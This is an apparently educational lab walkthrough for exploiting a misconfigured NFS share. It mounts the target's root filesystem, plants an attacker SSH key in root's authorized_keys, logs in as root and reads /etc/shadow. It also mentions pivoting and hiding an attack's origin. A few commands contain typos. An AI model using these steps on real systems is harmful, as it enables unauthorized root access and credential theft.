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NFS Vulnerability 
Background 
Network File System (NFS) is a distributed file system protocol that allows a user on a client computer 
to access files over a computer network as though it was local storage. The purpose of this protocol 
was to allow file sharing over a network, but when misconfigured it can allow malicious actors access 
to multiple devices. Usually an NFS would only be accessible to an internal network, thus preventing 
anyone outside the network from interfering with it. If it is misconfigured it can allow an attacker to 
connect and change the configuration settings within the NFS to allow secure connections.  

In this project we are going to exploit the NFS on the target machine by changing the ssh configuration 
file to allow a ssh connection between the attacker and the targets machine. Once the target is 
compromised it can used as a pivot to discover other devices within the network that could be 
vulnerable to attack. We can also use this machine to redirect traffic to obscure where the attack is 
originating from. It is important to understand how compromising one target can lead to a much wider 
attack and how to use these compromised targets as pivot points.  

Walkthrough 

Step 1: Make sure your Kali image is up to date using apt-get update, apt-get upgrade and if 
required apt-get full-upgrade; 

Step 2: Type apt-get install nfs-common; 

Step 3: Discover the IP address of the victim machine (use nmap, netdiscover etc to find this 
machine); 

Step 4: Perform a detailed nmap scan on the victim machine (nmap -sS -Pn -sC -A <target IP 
address>) – This nmap scan can take a while, it’s pretty detailed!; 
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Step 5: NFS runs on port 2049 – make sure this port is found during the nmap scan; 

Step 6: We can discover more information about NFS by typing rpcinfo -p <target IP address> | 
grep nfs which shows the program ID and confirms that the service is running on the 
victim machine; 

 

Step 7: Type showmount -e <target IP>; 

 

Step 8: This misconfigured service allows anyone to connect to the “/” file system (This is REALLY 
BAD!!!); 

Step 9: Type mkdir -p /root/.ssh/; 

Step 10: Type cd /root/.ssh/; 

Step 11: Type cat /dev/null > known_hosts; 

 

Step 12: Type ssh-keygen -t rsa -b 4096; 

Step 13: Make sure you call the file something memorable (hacker_rsa); 

Step 14: Hit Enter twice to not set any passphrase for the ssh key; 
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Step 15: Type ls -l to see all the ssh files you have just created; 

Step 16: Type cd; 

Step 17: Type mount-t nfs <target IP>:/ /mnt -o nolock; 

Step 18: Type df -k to show all the mounts; 

 

Step 19: Type cd /mnt/root/.ssh; 

Step 20: Type cp /root/.ssh/hacker_rsa.pub /mnt/root/.ssh/; 

Step 21: Type ls -l; 

 

Step 22: Type cat authorized_keys; 

Step 23: Type cat hacker_rsa.pub >> authorized_keys; 

Step 24: Type cat authorized_keys;  

 

Step 25: Type cd /root/.ssh/; 

Step 26: Type ssh -I /root/.ssh/hacker_rsa root@<target IP>; 

Step 27: Type yes to share the rsa key; 

Step 28: You might have to wait up to 30s for the connection; 

Step 29: You are now connected via ssh using root because of the nfs misconfiguration; 

Step 30: If this doesn’t connect you then wait for the permission denied response and then type 
ssh root@<target IP>; 

 

Step 31: type whoami to see your current username; 
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Step 32: Type ifconfig to see that you are logged into the target machine because the target 
machines IP address will be printed to the screen; 

Step 33: Type cat /etc/shadow to print the hashed passwords of the device; 

 

Step 34: To logout of the ssh connection type logout and hit Enter; 

Step 35: This is the end of the vulnerability. 
 

Conclusion 
For this project the misconfiguration of the nfs protocol has been exploited to allow external IP 
addresses to connect rather than isolating it to internal IP addresses. Ssh keys were created which 
changed the target devices ssh config files that allowed connection as root. Usually ssh would require 
a username and IP address (bob@192.168.0.1) and then a password to connect via ssh. This attack 
circumvents these requirements and allows full access to the compromised box, at root level allowing 
the attacker to make any kind of changes to the box they wish.  

Disclaimer 
Any actions and or activities related to the material contained within this Website is solely your 
responsibility. The misuse of the information in this website can result in criminal charges brought 
against the persons in question. Cyber Security Associates Limited will not be held responsible for any 
criminal charges brought against any individuals misusing the information in these projects to break 
the law.     
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